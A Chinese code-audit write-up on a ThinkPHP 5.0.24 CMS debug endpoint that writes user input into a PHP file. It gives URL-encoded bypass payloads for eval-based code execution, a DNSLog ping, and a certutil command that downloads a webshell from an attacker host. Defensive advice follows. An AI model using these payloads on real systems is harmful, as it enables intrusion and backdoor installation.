某cms代码审计RCE&艰难bypass(思路清奇)
字数 1299 2025-08-05 00:15:08
ThinkPHP5.0.24 CMS代码审计与RCE绕过分析
0x00 漏洞环境准备
环境搭建:
- 使用phpstudy一键搭建环境
- 下载地址:https://www.xp.cn/download.html
审计工具:
- Notepad++:用于代码查看
- Seay源代码审计工具:用于初步扫描危险函数
- PHPStorm(推荐):用于更深入的代码流程分析
目标系统:
- ThinkPHP 5.0.24框架
- 漏洞文件位置:
/app/admin/controller/api.php中的debug函数
0x01 漏洞点分析
漏洞代码片段
public function debug() {
$path = 'app/extra/debug.php';
$file = include $path;
$config = array(
'name' => input('id'),
);
$config = preg_replace("/[?> <? ] / ", '', $config );
$res = array_merge($file, $config);
$str = '<?php return [';
foreach($res as $key => $value) {
$str .= $key . $value;
}
$str .= '];';
if(file_put_contents($path, $str)) {
return json(array('code' => 1, 'msg' => '操作成功'));
} else {
return json(array('code' => 0, 'msg' => '操作失败'));
}
}
漏洞原理
- 用户可控输入:通过
input('id')获取用户输入 - 危险函数:使用
file_put_contents将用户输入写入PHP文件 - 过滤不充分:仅过滤了
?>、<?和空格,其他字符未过滤
访问路径
http://127.0.0.1/index.php/admin-api-debug.html?id=PAYLOAD
0x02 绕过思路与利用
第一次尝试:直接代码执行
Payload:
123'];phpinfo();//
生成文件内容:
<?php return [
'name' => '123']; phpinfo(); //',
];
问题:
return语句后的代码不会执行- PHP的
return会终止后续代码执行
第二次尝试:在return数组中执行代码
Payload:
123', eval($_REQUEST[1]); ',
问题:
- 语法错误,无法正常执行
第三次尝试:命令执行
DNSLog验证:
123']&`ping 123.yh6nta.dnslog.cn`;//
URL编码后:
123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
生成文件内容:
<?php return [
'name' => '123'] & `ping 123.yh6nta.dnslog.cn`; //',
];
优点:
- 成功执行系统命令
- 通过DNSLog验证命令执行
Windows系统利用
方法一:下载Webshell
步骤:
- 在VPS上放置一句话木马文件(如
shell.php) - 使用certutil下载文件
Payload:
']&`certutil -urlcache -split -f http://vps/shell.php 1.php`;//
URL编码:
%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps%2Fshell.php%201.php%60%3B%2F%2F
方法二:直接代码执行
Payload:
123']&&eval($_REQUEST[1]);//
URL编码:
123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
生成文件内容:
<?php return [
'name' => '123'] && eval($_REQUEST[1]); //',
];
优点:
- 直接实现代码执行
- 可通过
$_REQUEST[1]参数执行任意PHP代码
0x03 漏洞利用链总结
- 发现注入点:找到将用户输入写入PHP文件的功能
- 绕过过滤:
- 过滤了
?>、<?和空格 - 可利用
'、]等未过滤字符闭合语句
- 过滤了
- 执行方式选择:
- 直接代码执行(需绕过return限制)
- 系统命令执行(无回显时可结合DNSLog验证)
- 持久化:
- 下载Webshell文件
- 直接写入可执行代码
0x04 防御建议
-
输入过滤:
- 严格过滤所有特殊字符,特别是
'、"、;、&、|等 - 使用白名单机制限制输入内容
- 严格过滤所有特殊字符,特别是
-
安全编码:
- 避免将用户输入直接写入可执行文件
- 如需写入文件,应对内容进行严格编码或序列化
-
权限控制:
- 限制debug功能的访问权限
- 在生产环境禁用此类调试功能
-
框架升级:
- 升级到ThinkPHP最新版本
- 修复已知的安全漏洞
0x05 学习要点
-
PHP语言特性:
return语句的行为特性- 数组语法与语句闭合
-
绕过技巧:
- 利用未过滤字符闭合语句
- 命令执行与代码执行的转换
-
无回显利用:
- DNSLog验证技术
- 文件下载与执行
-
审计方法:
- 危险函数定位(file_put_contents等)
- 用户输入追踪
- 过滤机制分析
通过此案例,可以深入理解代码审计中从漏洞发现到利用的完整过程,以及如何针对特定过滤机制设计绕过方案。